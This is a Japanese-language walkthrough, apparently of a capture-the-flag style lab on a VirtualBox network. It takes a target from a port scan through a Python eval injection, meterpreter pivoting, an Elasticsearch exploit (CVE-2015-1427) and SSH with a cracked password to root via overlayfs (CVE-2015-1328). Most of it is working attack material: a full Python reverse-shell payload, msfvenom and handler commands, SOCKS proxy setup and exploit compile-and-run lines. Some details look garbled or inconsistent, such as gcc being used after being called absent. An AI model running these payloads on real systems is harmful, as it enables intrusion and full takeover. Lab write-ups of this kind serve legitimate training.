ネットワーク環境構成とインターフェース初期化
検証用ホストはVirtualBox上に展開し、ターゲットマシンとの通信経路を確保するため仮想ネットワークアダプターを二段階で割り当てます。ブリッジモード（外部通信用）とホストオンリーモード（仮想専用ネットワーク用）を同時に有効化した後、Linux側のネットワークマネージャーに対して手動定義を加えます。
# /etc/netplan/01-netcfg.yaml の修正例
network:
version: 2
ethernets:
enp0s3: # NAT用
dhcp4: true
enp0s8: # Host-only用
addresses: [192.168.56.103/24]
gateway4: 192.168.56.1
nameservers:
addresses: [8.8.8.8]設定適用後はsudo netplan applyを実行し、ip addr show で各インターフェースに期待されるIPアドレスが付与されていることを確認します。エラーが発生する場合は DHCP lease ファイルのキャッシュ削除やルーターのARPテーブル刷新を試みます。
サービス探知と脆弱性アセスメント
サブネット上の生きているホストを探索した後、主要ポートのリバースエンジニアリングを実施します。スキャン結果よりターゲット IP 192.168.56.101 がポート 22(TCP/SSH) と 5000(TCP/HTTP) を開放していることが判明しました。バージョン検出モジュールを併用すると、HTTPサーバー側に Werkzeug (Python 2.7) が搭載されていることが特定できます。
nmap -sC -sV -p- --open 192.168.56.101ブラウザで直結アクセスしても機能的な出力はありませんが、ディレクトリブルートフォースツールを使用して非公開パスを検索します。隠蔽された管理コンソールルートとして /admin が発見されました。このエンドポイントはユーザー入力をダイレクトにPythonインタプリタ内で評価する構造を持っています。
インタプリタ悪用と初期セッション確立
Webフォーム経由で注入可能なコードブロックに対し、標準ライブラリのみを使用した軽量なリバースシェルペイロードを構成します。変数名と制御フローを変更した安全な実装例を以下に示します。
import os, subprocess, socket
# 定数定義
TARGET_HOST = "192.168.56.103"
LISTEN_PORT = 4444
SHELL_PATH = "/bin/sh"
def establish_communication():
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((TARGET_HOST, LISTEN_PORT))
# ファイルディスクリプターの再関連付け
for fd_index in range(3):
os.dup2(client_socket.fileno(), fd_index)
# シェルプロセスの生成
subprocess.call([SHELL_PATH, "-i"])
except Exception as e:
pass
finally:
client_socket.close()
# ペイロード実行
establish_communication()攻撃者側のListener(nc -lvnp 4444)を待機させた状態で上記スクリプトをインジェクションすると、ターゲットOS上でuid=0(root)のシェルセッションが確立されます。接続確認後は環境情報を収集し、コンテナ隔離環境かどうかを判定します。
コンテナ環境の同定と内部トラフィック中継
Dockerfileの存在や /proc/self/cgroup 内の docker/ プレフィックス付きパス、ルート直下の .dockerenv により、現在の実行環境がコンテナ内に閉じられていることが証明されます。ホストOSや他のコンテナへ到達するにはルーティング情報の拡張とSOCKSプロキシチェーンの構築が必要です。
- MSFVenomを用いてELF形式のマレットウェアを生成します。
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.56.103 LPORT=5555 -f elf > relay_agent.bin - ターゲット環境へ転送し、実行権限付与後に起動します。
chmod +x relay_agent.bin && ./relay_agent.bin - Kali側でHandlerを準備し、受信待ち状態にします。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST 192.168.56.103; set LPORT 5555; run" - Meterpreterセッション取得後、内部ネットワーク範囲を追加ルーティングします。
run post/multi/manage/autoroute SCOPE=172.17.0.0/16 - Socks_proxy補助モジュールを起動し、外部クライアントからのアクセス経路を作成します。
use auxiliary/server/socks_proxy; set VERSION 5a; set SRVPORT 1080; exploit
設定完了後、作業ディレクトリ専用の proxychains.conf を作成し、末尾の行を socks5 192.168.56.103 1080 に変更して参照させます。これにより、すべてのスキャン・クエリリクエストが中継トンネル経由で送出可能になります。
バックエンド検索エンジンの脆弱性突入
内部サブネット 172.17.0.2 においてポート 9200/tcp(Elasticsearch) が応答していることが確認できました。バージョン 1.4.2 はGroovyサンドボックス回避による遠隔コード実行(CVE-2015-1427)の影響を受けます。ただし、当該エクスプロイトは既存のドキュメント格納エリアに至少一つデータが存在することを前提条件としています。
まずcurl経由でダミーインデックスを投入します：
proxychains4 curl -X PUT 'http://172.17.0.2:9200/system_cache/referer_doc/1' \
-H 'Content-Type: application/json' \
-d '{ "message": "initialization_seed_payload" }'データ登録後、脆弱性情報を処理するためのサードパーティースクリプトまたはカスタムPython要求を実行します。インジェクションパラメータを調整することで沙箱制限をバイパスし、任意のコマンド列をホスト上で動作させることができます。成功時、標準出力にroot権限でのID一覧が返却されます。
クレデンシャル抽出とSSH認証突破
システムログや公開ディレクトリから暗号化されたパスワードリストが発見されました。MD5ハッシュ値を辞書攻撃および既知照合で解読し、有効なログインペア john:1337hack を導き出します。この資格情報を使用してターゲットホストへのSSH接続を確立しますが、初期接続時は一般ユーザー(john, uid=1001) として制限されています。
カーネル特権昇格の実施
ターゲットOSのカーネルバージョン 3.13.0-24-generic は、overlayfsドライバの競合状態を突くローカル権限昇格脆弱性(CVE-2015-1328)の対象となります。一般的なPoCはコンパイル済み共有ライブラリ (ofs-lib.so) の動的読み込みを想定していますが、本環境にはgccコンパイラがインストールされていません。
そのため、ソースコード中の system("gcc ...") チェック分岐を削除し、既に提供されている ofs-lib.so ファイルを直接 /tmp ディレクトリへ配置するようロジックを書き換えます。また、開発者側OS(glibc 2.34系) でビルドするとランタイムライブラリの互換性エラー(version GLIBC_2.34 not found)が発生するため、ターゲット環境と同じ 2.19-0ubuntu6 リビジョンの共有オブジェクトを指定して静的リンクを行います。
# コンパイル指示（ローカルライブラリ優先）
gcc -O2 -o pwn_overlay exploit.c -I/tmp -L/tmp -lstdc++
cp /usr/share/exploitdb/data/exploits/CVE-2015-1328/ofs-lib.so /tmp/
# 権限付与と実行
chmod +x pwn_overlay
./pwn_overlayプロセスフォーク処理とファイルシステムフックが正常に連携すると、シェルプロセスの親権限が即座にuid=0(root) に昇格します。昇格後のシェルで id コマンドを実行すると、グループメンバーシップ含め完全なスーパーユーザー権限が確認でき、検証フローは完結します。